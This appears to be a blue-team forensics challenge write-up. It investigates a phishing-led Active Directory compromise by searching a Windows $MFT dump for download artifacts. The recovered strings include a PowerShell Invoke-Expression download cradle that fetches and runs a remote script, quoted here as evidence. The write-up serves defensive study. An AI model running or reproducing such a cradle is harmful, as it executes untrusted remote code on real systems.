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You are a blue team analyst tasked with investigating a suspected breach in an Active Directory environment named Main.local. The network includes a Domain Controller (DC01 and two client machines (Client02 and Client03). A user on Client03 received a phishing email, leading to a series of attacks that compromised the domain. Your job is to analyze the provided Windows Event Logs and Sysmon logs from Client02, Client03, and DC01 to reconstruct the attack chain, identify the attacker’s actions, and uncover critical artifacts such as credentials, hashes, and persistence mechanisms. All right, let's get started on this Blue Team challenge—specifically, SOC. ## TASK 1 First of all, we have 3 directories: ``` ❯ ls -l drwxrwxr-x winter winter 4.0 KB Mon May 26 07:55:24 2025 Logs-Client02 drwxrwxr-x winter winter 4.0 KB Mon May 26 03:38:18 2025 Logs-Client03 drwxrwxr-x winter winter 4.0 KB Mon May 26 04:01:08 2025 Logs-DC ``` And into Logs-Client02 we have: ``` ❯ ls -l drwxrwxr-x winter winter 4.0 KB Mon May 26 03:49:12 2025 C .rw-rw-r-- winter winter 1.1 MB Sun May 25 15:25:12 2025 Application.evtx .rw-rw-r-- winter winter 9.1 MB Sun May 25 15:26:24 2025 Powershell.evtx .rw-rw-r-- winter winter 6.1 MB Sun May 25 15:24:36 2025 Security.evtx .rw-rw-r-- winter winter 1.1 MB Mon May 26 07:53:54 2025 Sysmon.evtx ``` So let's check the files downloaded by the Client 02 by accessing the C directory: ``` ❯ ls -l .rw-rw-r-- winter winter 426 MB Fri Feb 3 13:16:54 2017 '$MFT' ``` The `$MFT` file is essentially a database where NTFS stores information about every file and directory on a volume. Every time a file is created, deleted, or moved, the `$MFT` is updated. Given that our `$MFT` is about 500 MB in size, we’ll need to filter and refine the search carefully to get readable results. So let's use this one-liner: ``` strings '$MFT' | grep -i "Downloads" | less ``` And the results: ``` C:\Users\student\Downloads\Chanllenges] C:\Users\student\Downloads Invoke-Expression (New-Object Net.WebClient).DownloadString("https://sec511-extras.s3.amazonaws.com/Win10-update.ps1") C:\Users\jody\Downloads C:\Users\jody\Downloads\Profits.docm Sources: http://downloads.sourceforge.net/freeglut/freeglut/freeglut-2.6.0.tar.gz Sources: http://downloads.sourceforge.net/libpng/libpng-1.5.2.tar.gz Homepage: http://www.oracle.com/technetwork/database/berkeleydb/downloads/index.html Sources: http://mysql.linux.cz/Downloads/MySQL-5.1/mysql-5.1.44.tar.gz Comment: 32bit libmysql.dll from http://mysql.linux.cz/Downloads/MySQL-5.1/mysql-noinstall-5.1.44-win32.z Comment: 64bit libmysql.dll from http://mysql.linux.cz/Downloads/MySQL-5.1/mysql-noinstall-5.1.44-winx64.zip Sources: http://downloads.sourceforge.net/gnuwin32/patch-2.5.9-7-src.zip Sources: http://downloads.sourceforge.net/giflib/giflib-4.1.6.tar.gz {"Type":"Common","Name":"Tracing","KeyPath":"Microsoft\\Tracing","ShortDescription":"Tracing Information","LongDescription":"https://www.allthingsdfir.com/tracing-malicious-downloads/","InternalID":"af5c023c-b790-443a-86eb-0205d8dd366d","HiveType":"Software","Category":"Program execution"} {"Type":"Common","Name":"Wow6432Node - Tracing","KeyPath":"WOW6432Node\\Microsoft\\Tracing","ShortDescription":"Tracing Information","LongDescription":"https://www.allthingsdfir.com/tracing-malicious-downloads/","InternalID":"ab48c472-e5e1-43d3-ba90-69c740c54a4e","HiveType":"Software","Category":"Program execution"}
Downloads each available package from the default channel
and downloads them to current working directory. Note: only